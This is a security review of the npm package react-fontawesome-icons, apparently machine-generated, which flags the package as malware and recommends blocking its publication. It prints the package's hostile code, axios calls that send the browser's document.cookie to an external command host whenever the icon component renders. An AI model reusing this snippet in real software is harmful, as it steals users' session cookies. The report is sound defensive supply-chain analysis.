## Security analysis

### Published attack-surface review

- **Summary:** Rendering the exported icon component triggers a network probe and posts the current page's cookies to a package-controlled endpoint.

- **Trigger:** A React application renders FontAwesomeIcon.

- **Impact:** Session cookies may be disclosed to an external receiver, enabling account/session compromise.

- **Evidence paths:** index.jsx, package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-07-23T17:21:09.452Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Browser cookie exfiltration via axios POST

- **Attack narrative:** The package's sole exported React component executes axios.get("http://command.control") during render. On success it posts an object containing document.cookie to http://commad.control/404. This is unconsented credential/session-token exfiltration activated by normal component use, with misleading comments and identifiers intended to conceal it.

- **Rationale:** Direct source inspection confirms runtime cookie exfiltration to external endpoints; no install hook is required for the malicious behavior.

- **Files touched:** package.json, index.jsx

- **Network endpoints:** http://command.control, http://commad.control/404

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** index.jsx sends document.cookie to http://commad.control/404., The request runs whenever FontAwesomeIcon renders., index.jsx first probes http://command.control before exfiltration., Obfuscated naming/comments attempt to disguise the behavior.

- **Evidence against:** package.json has no lifecycle hooks., Constructed profile fields are dummy data, but the real browser cookie is included.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

### 3. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** index.jsx
- **Public source:** [View source](<https://unpkg.com/react-fontawesome-icons@1.0.5/index.jsx>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```jsx
Browser cookie sent to a fixed external endpoint in index.jsx:
const c2c = `http://commad.control/404`;
axios.get('http://command.control').then(() => {
axios.post(c2c, { stat: constructData(), c: document.cookie }).then(() => {
```

### 4. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%
